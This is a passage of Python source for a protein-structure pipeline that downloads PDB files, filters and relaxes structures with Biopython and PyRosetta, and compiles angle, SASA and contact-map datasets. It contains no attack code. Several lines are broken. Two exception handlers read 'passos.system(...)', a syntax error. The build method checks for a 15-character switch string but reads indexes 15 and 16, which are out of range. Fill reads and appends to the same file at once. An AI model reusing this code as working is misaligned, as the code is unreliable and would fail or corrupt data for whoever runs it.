Bio.PDB.PDBParser(QUIET=True).get_structure(TheName,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tInFile)\n\t\t\t\tcount = 0\n\t\t\t\tfor chain in structure.get_chains():\n\t\t\t\t\tio.set_structure(chain)\n\t\t\t\t\tio.save(structure.get_id()+'_'+chain.get_id()+'.pdb')\n\t\t\t\tos.remove(TheFile)\n\t\t\texcept Exception as TheError:\n\t\t\t\tprint('\\x1b[31m[-] Failed to extract\\t{}\\x1b[33m: {}\\x1b[0m'\n\t\t\t\t\t\t.format(TheFile.upper(), str(TheError)))\n\t\t\t\tos.remove(TheFile)\n\t\tos.chdir(current)\n\tdef NonProtein(self, directory):\n\t\t''' Remove non-protein structures '''\n\t\tprint('\\x1b[33m[.] Deleting none-protein structures...\\x1b[0m')\n\t\tcurrent = os.getcwd()\n\t\tpdbfilelist = os.listdir(directory)\n\t\tos.chdir(directory)\n\t\tfor TheFile in tqdm.tqdm(pdbfilelist):\n\t\t\ttry:\n\t\t\t\tstructure = Bio.PDB.PDBParser(QUIET=True).get_structure('X',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tTheFile)\n\t\t\t\tppb = Bio.PDB.Polypeptide.PPBuilder()\n\t\t\t\tType = ppb.build_peptides(structure, aa_only=True)\n\t\t\t\tif Type == []: os.remove(TheFile)\n\t\t\t\telse: continue\n\t\t\texcept: os.remove(TheFile)\n\t\tos.chdir(current)\n\tdef Size(self, directory, Size_From, Size_To):\n\t\t''' Remove structures not within defined size '''\n\t\tprint('\\x1b[33m[.] Removing unwanted structure sizes...\\x1b[0m')\n\t\tcurrent = os.getcwd()\n\t\tpdbfilelist = os.listdir(directory)\n\t\tos.chdir(directory)\n\t\tfor TheFile in tqdm.tqdm(pdbfilelist):\n\t\t\ttry:\n\t\t\t\tparser = Bio.PDB.PDBParser()\n\t\t\t\tstructure = parser.get_structure('X', TheFile)\n\t\t\t\tmodel = structure[0]\n\t\t\t\tdssp = Bio.PDB.DSSP(model, TheFile, acc_array='Wilke')\n\t\t\t\tfor aa in dssp: length = aa[0]\n\t\t\t\tif length >= int(Size_To) or length <= int(Size_From):\n\t\t\t\t\tos.remove(TheFile)\n\t\t\texcept: print('\\x1b[31m[-] Error in finding protein size\\x1b[0m')\n\t\tos.chdir(current)\n\tdef Break(self, directory):\n\t\t''' Remove structures with a broken (non-continuous) chains '''\n\t\tprint('\\x1b[33m[.] Removing non-continuous structures...\\x1b[0m')\n\t\tcurrent = os.getcwd()\n\t\tpdbfilelist = os.listdir(directory)\n\t\tos.chdir(directory)\n\t\tfor TheFile in tqdm.tqdm(pdbfilelist):\n\t\t\tstructure = Bio.PDB.PDBParser(QUIET=True).get_structure('X',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tTheFile)\n\t\t\tppb = Bio.PDB.Polypeptide.PPBuilder()\n\t\t\tType = ppb.build_peptides(structure, aa_only=True)\n\t\t\ttry:\n\t\t\t\tx = Type[1]\n\t\t\t\tos.remove(TheFile)\n\t\t\texcept: continue\n\t\tos.chdir(current)\n\tdef Loops(self, directory, LoopLength):\n\t\t'''\n\t\tRemove structures that have loops that are larger than a\n\t\tspesific length\n\t\t'''\n\t\tprint('\\x1b[33m[.] Removing structures with long loops...\\x1b[0m')\n\t\tcurrent = os.getcwd()\n\t\tpdbfilelist = os.listdir(directory)\n\t\tos.chdir(directory)\n\t\tfor TheFile in tqdm.tqdm(pdbfilelist):\n\t\t\ttry:\n\t\t\t\tparser = Bio.PDB.PDBParser()\n\t\t\t\tstructure = parser.get_structure('X', TheFile)\n\t\t\t\tmodel = structure[0]\n\t\t\t\tdssp = Bio.PDB.DSSP(model, TheFile, acc_array='Wilke')\n\t\t\t\tSS = list()\n\t\t\t\tfor res in dssp:\n\t\t\t\t\tss = res[2]\n\t\t\t\t\tif ss == '-' or ss == 'T' or ss == 'S': SS.append('L')\n\t\t\t\t\telse: SS.append('.')\n\t\t\t\tloops = ''.join(SS).split('.')\n\t\t\t\tloops = [item for item in loops if item]\n\t\t\t\tLargeLoop = None\n\t\t\t\tfor item in loops:\n\t\t\t\t\tif len(item) <= LoopLength: continue\n\t\t\t\t\telse: LargeLoop = 'LargeLoop'\n\t\t\t\tif LargeLoop == 'LargeLoop': os.remove(TheFile)\n\t\t\t\telse: continue\n\t\t\texcept: os.remove(TheFile)\n\t\tos.chdir(current)\n\tdef Renumber(self, directory):\n\t\t''' Renumber structures starting at 1 '''\n\t\tprint('\\x1b[33m[.] Renumbering structures...\\x1b[0m')\n\t\tcurrent = os.getcwd()\n\t\tpdbfilelist = os.listdir(directory)\n\t\tos.chdir(directory)\n\t\tfor TheFile in tqdm.tqdm(pdbfilelist):\n\t\t\tpdb = open(TheFile, 'r')\n\t\t\tPDB = open(TheFile+'X', 'w')\n\t\t\tcount = 0\n\t\t\tnum = 0\n\t\t\tAA2 = None\n\t\t\tfor line in pdb:\n\t\t\t\tcount += 1\n\t\t\t\tAA1 = line[23:27]\n\t\t\t\tif not AA1 == AA2: num += 1\n\t\t\t\tfinal_line =line[:7]+'{:4d}'.format(count)+line[11:17]+\\\n\t\t\t\t\t\t\tline[17:21]+'A'+'{:4d}'.format(num)+line[26:]\n\t\t\t\tAA2 = AA1\n\t\t\t\tPDB.write(final_line)\n\t\t\tPDB.close()\n\t\t\tos.remove(TheFile)\n\t\t\tos.rename(TheFile+'X', TheFile)\n\t\tos.chdir(current)\n\tdef Rg(self, directory, RGcutoff):\n\t\t''' Remove structures that are below the Raduis of Gyration's value '''\n\t\tprint('\\x1b[33m[.] Removing structure low Rg values...\\x1b[0m')\n\t\tcurrent = os.getcwd()\n\t\tpdbfilelist = os.listdir(directory)\n\t\tos.chdir(directory)\n\t\tfor TheFile in tqdm.tqdm(pdbfilelist):\n\t\t\tmass = list()\n\t\t\tStructure = open(TheFile, 'r')\n\t\t\tfor line in Structure:\n\t\t\t\tline = line.split()\n\t\t\t\tif line[0] == 'TER' or line[0] == 'END': continue\n\t\t\t\telse:\n\t\t\t\t\tif line[-1] == 'C': mass.append(12.0107)\n\t\t\t\t\telif line[-1] == 'O': mass.append(15.9994)\n\t\t\t\t\telif line[-1] == 'N': mass.append(14.0067)\n\t\t\t\t\telif line[-1] == 'S': mass.append(32.0650)\n\t\t\t\t\telif line[-1] == 'H': mass.append(1.00794)\n\t\t\t\t\telse: continue\n\t\t\tcoord = list()\n\t\t\tp = Bio.PDB.PDBParser()\n\t\t\tstructure = p.get_structure('X', TheFile)\n\t\t\tfor model in structure:\n\t\t\t\tfor chain in model:\n\t\t\t\t\tfor residue in chain:\n\t\t\t\t\t\tfor atom in residue: coord.append(atom.get_coord())\n\t\t\txm = [(m*i, m*j, m*k) for (i, j, k), m in zip(coord, mass)]\n\t\t\ttmass = sum(mass)\n\t\t\trr = sum(mi*i + mj*j + mk*k for (i, j, k), (mi, mj, mk)\\\n\t\t\tin zip(coord, xm))\n\t\t\tmm = sum((sum(i)/tmass)**2 for i in zip( * xm))\n\t\t\trg = math.sqrt(rr/tmass-mm)\n\t\t\tif rg <= RGcutoff: os.remove(TheFile)\n\t\t\telse: continue\n\t\tos.chdir(current)\n\tdef Clean(self, directory):\n\t\t''' Clean each structure within a directory '''\n\t\tprint('\\x1b[33m[.] Cleaning structures...\\x1b[0m')\n\t\tos.mkdir('PDBCleaned')\n\t\tcurrent = os.getcwd()\n\t\tpdbfilelist = os.listdir(directory)\n\t\tos.chdir(directory)\n\t\tfor TheFile in tqdm.tqdm(pdbfilelist):\n\t\t\tCurFile = open(TheFile, 'r')\n\t\t\tNewFile = open('Clean-{}'.format(TheFile), 'a')\n\t\t\tfor line in CurFile:\n\t\t\t\tif line.split()[0] == 'ATOM': NewFile.write(line)\n\t\t\tCurFile.close()\n\t\t\tNewFile.close()\n\t\t\tos.system('mv Clean-{} ../PDBCleaned'.format(TheFile))\n\t\tos.chdir(current)\n\tdef Path(self, directory, path):\n\t\t''' Generate a file with the path to each file '''\n\t\tprint('\\x1b[33m[.] Generating paths...\\x1b[0m')\n\t\tcurrent = os.getcwd()\n\t\tpdbfilelist = os.listdir(directory)\n\t\tos.chdir(directory)\n\t\tPathFile = open('PDB.list', 'a')\n\t\tfor TheFile in tqdm.tqdm(pdbfilelist):\n\t\t\tline = '{}/PDBCleaned/{}\\n'.format(path, TheFile)\n\t\t\tPathFile.write(line)\n\t\tos.system('mv PDB.list ../')\n\t\tos.chdir(current)\n\tdef RelaxHPC(self, path, cores):\n\t\t'''\n\t\tGenerate a PBS job scheduler to perform each structure\n\t\trelax on a HPC\n\t\t'''\n\t\tHPCfile = open('relax.pbs', 'w')\n\t\tHPCfile.write('#!/bin/bash\\n')\n\t\tHPCfile.write('#PBS -N Relax\\n')\n\t\tHPCfile.write('#PBS -q fat\\n')\n\t\tHPCfile.write('#PBS -l select=1:ncpus=1\\n')\n\t\tHPCfile.write('#PBS -j oe\\n')\n\t\tHPCfile.write('#PBS -J 1-{}\\n'.format(str(cores)))\n\t\tHPCfile.write('cd $PBS_O_WORKDIR\\n')\n\t\tHPCfile.write('mkdir PDBRelaxed\\n')\n\t\tHPCfile.write('cd PDBRelaxed\\n')\n\t\tHPCfile.write('''thefile=$(awk -v \"line=${}\" 'NR == line {}' ../PDB.list)\\n'''.format('{PBS_ARRAY_INDEX}', '{ print; exit }'))\n\t\tHPCfile.write('{}/main/source/bin/relax.default.linuxgccrelease -relax:thorough -nstruct 100 -database {}/main/database -s $thefile'.format(path, path))\n\t\tprint('\\x1b[32m[+] Generated HPC job submission file\\x1b[0m')\n\tdef Relax(self, directory):\n\t\t''' Relax each structure in a directory on a local computer '''\n\t\tprint('\\x1b[33m[.] Relaxing structures...\\x1b[0m')\n\t\tos.mkdir('PDBRelaxed')\n\t\tcurrent = os.getcwd()\n\t\tpdbfilelist = os.listdir(directory)\n\t\tos.chdir(directory)\n\t\tfor TheFile in tqdm.tqdm(pdbfilelist):\n\t\t\tfor i in range(1, 101):\n\t\t\t\tscorefxn = get_fa_scorefxn()\n\t\t\t\trelax = pyrosetta.rosetta.protocols.relax.FastRelax()\n\t\t\t\trelax.set_scorefxn(scorefxn)\n\t\t\t\tpose = pose_from_pdb(TheFile)\n\t\t\t\trelax.apply(pose)\n\t\t\t\tpose.dump_pdb('Relaxed{}-{}'.format(i, TheFile))\n\t\t\t\tos.system('mv Relaxed{}-{} ../PDBRelaxed'.format(i, TheFile))\n\t\tos.chdir(current)\n\tdef C_Max(self, filename):\n\t\t''' Find the maximum value of the Distance Map in a dataset '''\n\t\tmax_in_line = []\n\t\twith open(filename, 'r') as f:\n\t\t\tnext(f)\n\t\t\tfor line in f:\n\t\t\t\tline = line.strip().split(',')[1:]\n\t\t\t\tline = [float(item) for item in line]\n\t\t\t\tmax_in_line.append(max(line))\n\t\t\tmaximum = max(max_in_line)\n\t\t\tprint('\\x1b[32m[+] Contact Map maximum value: {}\\x1b[0m'\\\n\t\t\t.format(maximum))\n\t\t\treturn(maximum)\n\tdef DatasetPSCM(self, directory):\n\t\t'''\n\t\tCompile a dataset of each residue's phi and psi angles and another\n\t\tdataset of the contact map for each structure. This dataset is padded\n\t\twith zeros.\n\t\t'''\n\t\ta = 'Compiling phi and psi angles dataset'\n\t\tb = 'as well as a distance matrix dataset'\n\t\ttext = a+b\n\t\tprint('\\x1b[32m{}\\x1b[0m'.format(text))\n\t\t# Setup dataset header for angles\n\t\theaderPS = ['PDB_ID']\n\t\tfor i in range(1, 150+1):\n\t\t\theaderPS.append(',phi_{},psi_{}'.format(i, i))\n\t\theaderPS = ''.join(headerPS)\n\t\twith open('./dataset_PS.csv', 'w') as headPS:\n\t\t\theadPS.write(headerPS+'\\n')\n\t\t# Setup dataset header for distance matrices\n\t\theaderCM = ['PDB_ID']\n\t\tfor r in range(1, 150+1):\n\t\t\tfor c in range(1, 150+1):\n\t\t\t\theaderCM.append(',aa{}_aa{}'.format(r, c))\n\t\theaderCM = ''.join(headerCM)\n\t\twith open('./dataset_CM.csv', 'w') as headCM:\n\t\t\theadCM.write(headerCM+'\\n')\n\t\tfor File in tqdm.tqdm(os.listdir(directory)):\n\t\t\tTheFile = '{}/{}'.format(directory, File)\n\t\t\ttry:\n\t\t\t\t# Compile angles\n\t\t\t\tpose = pose_from_pdb(TheFile)\n\t\t\t\tphi = []\n\t\t\t\tpsi = []\n\t\t\t\tfor aa in range(len(pose.residues)):\n\t\t\t\t\ttry:\n\t\t\t\t\t\tp = pose.phi(aa+1)\n\t\t\t\t\t\ts = pose.psi(aa+1)\n\t\t\t\t\t\tif p < 0: p = p+360\n\t\t\t\t\t\tif s < 0: s = s+360\n\t\t\t\t\t\tphi.append(p)\n\t\t\t\t\t\tpsi.append(s)\n\t\t\t\t\texcept: pass\n\t\t\t\tangles = []\n\t\t\t\tfor P, S in zip(phi, psi):\n\t\t\t\t\tangles.append(str(round(P, 5))+','+str(round(S, 5)))\n\t\t\t\tassert len(phi) == len(psi)\n\t\t\t\tAngles = ','.join(angles)\n\t\t\t\tif len(angles) >= 150: AngLine = Angles\n\t\t\t\telse:\n\t\t\t\t\taddition = 150-len(angles)\n\t\t\t\t\tzeros = []\n\t\t\t\t\tfor adds in range(addition): zeros.append('0.0,0.0')\n\t\t\t\t\tZeros = ','.join(zeros)\n\t\t\t\t\tAngLine = '{},{}'.format(Angles, Zeros)\n\t\t\t\tThePSLine = '{},{}\\n'.format(File, AngLine)\n\t\t\t\twith open('dataset_PS.csv', 'a') as PSdata:\n\t\t\t\t\tPSdata.write(ThePSLine)\n\t\t\t\t#Compile contact map (Ca-Ca contact <= 12 angstroms)\n\t\t\t\tBIO = Bio.PDB.PDBParser(QUIET=True)\n\t\t\t\tstructure = BIO.get_structure('X', TheFile)\n\t\t\t\tppb = Bio.PDB.Polypeptide.PPBuilder()\n\t\t\t\tType = ppb.build_peptides(structure, aa_only=False)\n\t\t\t\tmodel = Type\n\t\t\t\tchain = model[0]\n\t\t\t\tCM = []\n\t\t\t\tfor aa1 in range(0, 150):\n\t\t\t\t\tfor aa2 in range(0, 150):\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tresidue1 = chain[aa1]\n\t\t\t\t\t\t\tresidue2 = chain[aa2]\n\t\t\t\t\t\t\tatom1 = residue1['CA']\n\t\t\t\t\t\t\tatom2 = residue2['CA']\n\t\t\t\t\t\t\tif atom1-atom2 <= 12:\n\t\t\t\t\t\t\t\tCM.append(str(atom1-atom2))\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tCM.append(str(0))\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tCM.append(str(0))\n\t\t\t\tassert len(CM) == 22500\n\t\t\t\tContactMap = ','.join(CM)\n\t\t\t\tTheCMLine = '{},{}\\n'.format(File, ContactMap)\n\t\t\t\twith open('dataset_CM.csv', 'a') as CMdata:\n\t\t\t\t\tCMdata.write(TheCMLine)\n\t\t\texcept: pass\n\tdef VectorisePSCM(self, PS_file='dataset_PS.csv',\n\t\t\t\t\t\tCM_file='dataset_CM.csv',\n\t\t\t\t\t\tC_MAX=12,\n\t\t\t\t\t\tfp=np.float64):\n\t\t'''\n\t\tThis function vectorises the datasets, normalises them, as well as\n\t\tconstructs the final tensor and export the result as a serial.\n\t\t'''\n\t\t# 1. Import a single row of PS dataset\n\t\twith open(PS_file) as PSf:\n\t\t\tnext(PSf)\n\t\t\tP, S = [], []\n\t\t\tfor line in PSf:\n\t\t\t\t# 2. Isolate different angles\n\t\t\t\tline = line.strip().split(',')\n\t\t\t\tp = [float(item) for item in line[1::2]]\n\t\t\t\ts = [float(item) for item in line[2::2]]\n\t\t\t\tassert len(p) == len(s)\n\t\t\t\tP.append(np.array(p, dtype=fp))\n\t\t\t\tS.append(np.array(s, dtype=fp))\n\t\twith open(CM_file) as CMf:\n\t\t\tnext(CMf)\n\t\t\tCM = []\n\t\t\tfor line in CMf:\n\t\t\t\t# 3. Isolate different points\n\t\t\t\tline = [float(item) for item in line.strip().split(',')[1:]]\n\t\t\t\tcm = np.reshape(line, (150, 150))\n\t\t\t\tCM.append(np.array(cm, dtype=fp))\n\t\t# 4. Construct PS matrices\n\t\tP = np.array(P)\n\t\tS = np.array(S)\n\t\t# 5. Normalise PS angles (min/max) [-1, 1]\n\t\tP /= 180\n\t\tS /= 180\n\t\tP -= 1\n\t\tS -= 1\n\t\tPS = np.array([P, S])\n\t\tPS = np.swapaxes(PS, 0, 2)\n\t\tPS = np.swapaxes(PS, 0, 1)\n\t\t# 6. Construct CM matrices\n\t\tCM = np.array(CM)\n\t\t# 7. Normalise CM contact map (min/max) [-1, 1]\n\t\tCM /= (C_MAX/2)\n\t\tCM -= 1\n\t\t# 8. Construct final dataset matrix\n\t\tdataset = np.concatenate([PS, CM], axis=2)\n\t\t# 9. Suffle dataset\n\t\tsklearn.utils.shuffle(dataset)\n\t\t# 10. Serialise tensors\n\t\twith h5py.File('PS+CM.hdf5', 'w') as data:\n\t\t\tdataset = data.create_dataset('default', data=dataset)\n\t\t# IMPORT WITH THIS COMMAND:\n\t\t#with h5py.File('PS+DM.hdf5', 'r') as data: dataset=data['default'][()]\n\tdef DatasetAsPSaM(self, directory):\n\t\t'''\n\t\tCompile a dataset of each residue's amino acid identify, secondary\n\t\tstructure, phi angle, psi angle, solvent accessible surface area as\n\t\ta .csv file and the contact map as a separate .csv file. to be run\n\t\tafter clean() on the ./cleaned directory, also outputs a file\n\t\tidentifying the sizes of structures, so the largest value can be used\n\t\twith HeaderAsPSaM()\n\t\t'''\n\t\tos.makedirs('./Completed', exist_ok=True)\n\t\tos.makedirs('./Error_NotEqual', exist_ok=True)\n\t\tos.makedirs('./Error_Broken', exist_ok=True)\n\t\tos.makedirs('./Error_Small', exist_ok=True)\n\t\tfor File in tqdm.tqdm(os.listdir(directory)):\n\t\t\ttry:\n\t\t\t\tTheFile = '{}/{}'.format(directory, File)\n\t\t\t\tpose = pose_from_pdb(TheFile)\n\t\t\t\tDSSP = pyrosetta.rosetta.protocols.moves.DsspMover()\n\t\t\t\tDSSP.apply(pose)\n\t\t\t\tsasa_calc = pyrosetta.rosetta.core.scoring.sasa.SasaCalc()\n\t\t\t\tsasa_calc.calculate(pose)\n\t\t\t\tsize = pose.total_residue()\n\t\t\t\taa = []\n\t\t\t\tss = []\n\t\t\t\tphi = []\n\t\t\t\tpsi = []\n\t\t\t\tsasa = []\n\t\t\t\tinfo = []\n\t\t\t\tctmp = []\n\t\t\t\tm = []\n\t\t\t\tsurf = list(sasa_calc.get_residue_sasa())\n\t\t\t\tfor r in range(size):\n\t\t\t\t\tif pose.residue(r+1).is_protein():\n\t\t\t\t\t\taa.append(pose.sequence(r+1, r+1))\n\t\t\t\t\t\tss.append(pose.secstruct(r+1))\n\t\t\t\t\t\tp = pose.phi(r+1)\n\t\t\t\t\t\tif p < 0: p = p + 360\n\t\t\t\t\t\tphi.append(p)\n\t\t\t\t\t\ts = pose.psi(r+1)\n\t\t\t\t\t\tif s < 0: s = s + 360\n\t\t\t\t\t\tpsi.append(s)\n\t\t\t\t\t\tsasa.append(surf[r])\n\t\t\t\tfor r in range(0, size):\n\t\t\t\t\tfor R in range(0, size):\n\t\t\t\t\t\tif\tpose.residue(r+1).is_protein() and\\\n\t\t\t\t\t\t\tpose.residue(R+1).is_protein():\n\t\t\t\t\t\t\tCAr = pose.residue(r+1).xyz('CA')\n\t\t\t\t\t\t\tCAR = pose.residue(R+1).xyz('CA')\n\t\t\t\t\t\t\tCAr_CAR_vector = CAR-CAr\n\t\t\t\t\t\t\tCont = CAr_CAR_vector.norm()\n\t\t\t\t\t\t\tif Cont <= 12: ctmp.append(Cont)\n\t\t\t\t\t\t\telse: ctmp.append(0)\n\t\t\t\tif len(aa) >= 50:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tassert\tlen(aa) == len(ss) == len(phi)\\\n\t\t\t\t\t\t\t== len(psi) == len(sasa) == math.sqrt(len(ctmp))\n\t\t\t\t\t\t\tfor AA,SS,P,S,SASA in zip(aa,ss,phi,psi,sasa):\n\t\t\t\t\t\t\t\tinfo.append('{},{},{},{},{}'\\\n\t\t\t\t\t\t\t\t.format(AA, SS, P, S, SASA))\n\t\t\t\t\t\t\tInfo = ','.join(info)\n\t\t\t\t\t\t\twith open('./AsPSa.csv', 'a') as data:\n\t\t\t\t\t\t\t\tdata.write(File + ',' + Info + '\\n')\n\t\t\t\t\t\t\twith open('lengths.txt', 'a') as length:\n\t\t\t\t\t\t\t\tlength.write(str(len(aa))+'\\n')\n\t\t\t\t\t\t\tfor x in ctmp:\n\t\t\t\t\t\t\t\tm.append('{}'.format(x))\n\t\t\t\t\t\t\tM = ','.join(m)\n\t\t\t\t\t\t\twith open('./M.csv', 'a') as data:\n\t\t\t\t\t\t\t\tdata.write(File + ',' + M + '\\n')\n\t\t\t\t\t\t\tos.system('mv {} ./Completed'.format(TheFile))\n\t\t\t\t\t\texcept: passos.system('mv {} ./Error_NotEqual'.format(TheFile))\n\t\t\t\telse: os.system('mv {} ./Error_Small'.format(TheFile))\n\t\t\texcept: passos.system('mv {} ./Error_Broken'.format(TheFile))\n\tdef Fill(self, filename):\n\t\t''' Fills missing .csv table spaces with zeros '''\n\t\twith open(filename) as f:\n\t\t\twith open(filename, 'a') as F:\n\t\t\t\tfirst_line = f.readline()\n\t\t\t\tF.write(first_line)\n\t\t\t\tsize = len(first_line.strip().split(','))\n\t\t\t\tfor line in f:\n\t\t\t\t\tline = line.strip().split(',')\n\t\t\t\t\tgap = size - len(line)\n\t\t\t\t\tfor zero in range(gap):\n\t\t\t\t\t\tline.append('0')\n\t\t\t\t\tnew_line = ','.join(line)\n\t\t\t\t\tF.write(new_line + '\\n')\n\tdef HeaderAsPSaM(self, length=745, choice='AsPSa'):\n\t\t'''\n\t\tConstructs a .csv header and completes the dataset. To find the value of\n\t\tthe largest structure run: sort -nk 1 lengths.txt\n\t\t'''\n\t\theader = ['PDB_ID']\n\t\tif choice == 'AsPSa':\n\t\t\tfor i in range(1, length+1):\n\t\t\t\theader.append(',aa_{},ss_{},phi_{},psi_{},sasa_{}'\\\n\t\t\t\t.format(i, i, i, i, i))\n\t\t\theader = ''.join(header)\n\t\t\twith open('./AsPSa.csv', 'r') as data:\n\t\t\t\twith open('./dataset_AsPSa.csv', 'w') as head:\n\t\t\t\t\thead.write(header+'\\n')\n\t\t\t\t\tfor line in data:\n\t\t\t\t\t\thead.write(line)\n\t\telif choice == 'M':\n\t\t\tfor r in range(1, length+1):\n\t\t\t\tfor c in range(1, length+1):\n\t\t\t\t\theader.append(',aa{}_aa{}'.format(r, c))\n\t\t\theader = ''.join(header)\n\t\t\twith open('./M.csv', 'r') as data:\n\t\t\t\twith open('./dataset_M.csv', 'w') as head:\n\t\t\t\t\thead.write(header+'\\n')\n\t\t\t\t\tfor line in data:\n\t\t\t\t\t\thead.write(line)\n\tdef build(self, switches='', directory='PDBDatabase'):\n\t\tif len(switches) == 15:\n\t\t\tswitch = list(switches)\n\t\t\tif switch[0] == '1': self.Database('DATABASE', directory)\n\t\t\tif switch[1] == '1': self.Extract(directory)\n\t\t\tif switch[2] == '1': self.NonProtein(directory)\n\t\t\tif switch[3] == '1': self.Size(directory, 80, 150)\n\t\t\tif switch[4] == '1': self.Break(directory)\n\t\t\tif switch[5] == '1': self.Loops(directory, 10)\n\t\t\tif switch[6] == '1': self.Renumber(directory)\n\t\t\tif switch[7] == '1': self.Rg(directory, 15)\n\t\t\t########## --- HUMAN EYE FILTERING --- ##########\n\t\t\tif switch[8] == '1': self.Clean(directory)\n\t\t\tif switch[9] == '1': self.Path('PDBCleaned', '{PATH}')\n\t\t\tif switch[10] == '1': self.RelaxHPC('~/Rosetta', 829)\n\t\t\tif switch[11] == '1': self.Relax('PDBCleaned')\n\t\t\tif switch[14] == '1': self.DatasetPSCM('PDBCleaned')\n\t\t\tif switch[15] == '1': self.C_Max('dataset_CM.csv')\n\t\t\tif switch[16] == '1': self.VectorisePSCM()\n\t\telse: print('\\x1b[31m[-] Error\\x1b[33m: wrong string length\\x1b[0m')\n\ndef Vall(filename='vall.jul19.2011', m=16800, nx=1490):\n\t'''\n\tCompile the PDB IDs, chains, phi, psi, omega, and SASA of all the structures\n\tfrom the Rosetta vall.jul19.2011 database into a .csv file\n\t'''\n\tassert os.path.isfile('./{}'.format(filename)),\\\n\t'Make sure the vall.jul19.2011 file is in the same directory as this script'\n\twith open(filename, 'r') as f:\n\t\twith open('Fragments.csv', 'w') as F:\n\t\t\theader = ['PDBID,Chain']\n\t\t\tfor i in range(1, nx+1):\n\t\t\t\theader.append(',AA_{},SS_{},P_{},S_{},O_{},SASA_{}'\\\n\t\t\t\t.format(i, i, i, i, i, i))\n\t\t\theader = ''.join(header)\n\t\t\tF.write(header + '\\n')\n\t\t\tfor i in range(30): next(f)\n\t\t\tID = []\n\t\t\tCH = []\n\t\t\tAA = []\n\t\t\tSS = []\n\t\t\tP = []\n\t\t\tS = []\n\t\t\tO = []\n\t\t\tSASA= []\n\t\t\tID_seen = set()\n\t\t\tfor line in f:\n\t\t\t\tline = line.strip().split()\n\t\t\t\tif line[0] not in ID_seen:\n\t\t\t\t\texp = []\n\t\t\t\t\tfor aa, ss, p, s, o, sasa in zip(AA, SS, P, S, O, SASA):\n\t\t\t\t\t\texp.append('{},{},{},{},{},{}'\\\n\t\t\t\t\t\t.format(aa, ss, p, s, o, sasa))\n\t\t\t\t\texp = ','.join(exp)\n\t\t\t\t\tif exp == '': pass\n\t\t\t\t\telse: F.write(ID + ',' + CH + ',' + exp + '\\n')\n\t\t\t\t\tID = None\n\t\t\t\t\tCH = None\n\t\t\t\t\tAA = []\n\t\t\t\t\tSS = []\n\t\t\t\t\tP = []\n\t\t\t\t\tS = []\n\t\t\t\t\tO = []\n\t\t\t\t\tSASA = []\n\t\t\t\t\tID_seen.add(line[0])\n\t\t\t\t\tID = line[0][:4].upper()\n\t\t\t\t\tCH = line[0][-1].upper()\n\t\t\t\t\tAA.append(line[1])\n\t\t\t\t\tSS.append(line[2])\n\t\t\t\t\tP.append(line[14])\n\t\t\t\t\tS.append(line[15])\n\t\t\t\t\tO.append(line[16])\n\t\t\t\t\tSASA.append(line[19])\n\t\t\t\telse:\n\t\t\t\t\tID = line[0][:4].upper()\n\t\t\t\t\tCH = line[0][-1].upper()\n\t\t\t\t\tAA.append(line[1])\n\t\t\t\t\tSS.append(line[2])\n\t\t\t\t\tP.append(line[14])\n\t\t\t\t\tS.append(line[15])\n\t\t\t\t\tO.append(line[16])\n\t\t\t\t\tSASA.append(line[19])\n\t\t\texp = []\n\t\t\tfor aa, ss, p, s, o, sasa in zip(AA, SS, P, S, O, SASA):\n\t\t\t\texp.append('{},{},{},{},{},{}'\\\n\t\t\t\t.format(aa, ss, p, s, o, sasa))\n\t\t\texp = ','.join(exp)\n\t\t\tF.write(ID + ',' + CH + ',' + exp)\n\nclass Seq():\n\tdef Database(self, TempDIR, FinalDIR):\n\t\t'''\n\t\tDownloads the entire PDB database from https://www.wwpdb.org/\n\t\tmoves all files into one directory, then uncompresses all the files\n\t\tGenerates a directory which contains all .PDB structure files\n\t\t'''\n\t\tos.system('rsync -rlpt -v -z --delete --port=33444 rsync.wwpdb.org::ftp/data/structures/divided/pdb/ ./{}'.format(TempDIR))\n\t\tos.mkdir(FinalDIR)\n\t\tfilelist = os.listdir(TempDIR)\n\t\tprint('\\x1b[32m[+] Download complete\\x1b[0m')\n\t\tprint('\\x1b[32m[+] Moving files\\x1b[0m')\n\t\tfor directories in tqdm.tqdm(filelist):\n\t\t\tfiles = os.listdir('{}/{}'.format(TempDIR, directories))\n\t\t\tfor afile in files:\n\t\t\t\tlocation = ('{}/{}/{}'.format(TempDIR, directories, afile))\n\t\t\t\tos.rename(location, '{}/{}'.format(FinalDIR, afile))\n\t\tos.system('rm -r ./{}'.format(TempDIR))\n\tdef Extract(self, directory):\n\t\t'''\n\t\tExtracts all the .ent.gz files and separate all chains and save them into\n\t\tseperate .pdb files. Replaces each .ent.gz file with the .pdb file of each\n\t\tchain\n\t\t'''\n\t\tcurrent = os.getcwd()\n\t\tpdbfilelist = os.listdir(directory)\n\t\tio = Bio.PDB.PDBIO()\n\t\tos.chdir(directory)\n\t\tprint('\\x1b[32m[+] Extracting files\\x1b[0m')\n\t\tfor TheFile in tqdm.tqdm(pdbfilelist):\n\t\t\ttry:\n\t\t\t\tTheName = TheFile.split('.')[0].split('pdb')[1].upper()\n\t\t\t\tInFile = gzip.open(TheFile, 'rt')\n\t\t\t\tstructure = Bio.PDB.PDBParser(QUIET=True).get_structure(TheName, InFile)\n\t\t\t\tcount = 0\n\t\t\t\tfor chain in structure.get_chains():\n\t\t\t\t\tio.set_structure(chain)\n\t\t\t\t\tio.save(structure.get_id()+'_'+chain.get_id()+'.pdb')\n\t\t\t\tos.remove(TheFile)\n\t\t\texcept Exception as TheError:\n\t\t\t\tprint('\\x1b[31m[-] Failed to extract\\t{}\\x1b[33m{}\\x1b[0m'.format(TheFile.upper(), str(TheError)))\n\t\t\t\tos.remove(TheFile)\n\t\tos.chdir(current)\n\tdef NonProtein(self, directory):\n\t\t''' Remove non-protein structures '''\n\t\tcurrent = os.getcwd()\n\t\tpdbfilelist = os.listdir(directory)\n\t\tos.chdir(directory)\n\t\tprint('\\x1b[32m[+] Deleting none-protein structures\\x1b[0m')\n\t\tfor TheFile in tqdm.tqdm(pdbfilelist):\n\t\t\tstructure = Bio.PDB.PDBParser(QUIET=True).get_structure('X', TheFile)\n\t\t\tppb = Bio.PDB.Polypeptide.PPBuilder()\n\t\t\tType = ppb.build_peptides(structure, aa_only=True)\n\t\t\tif Type == 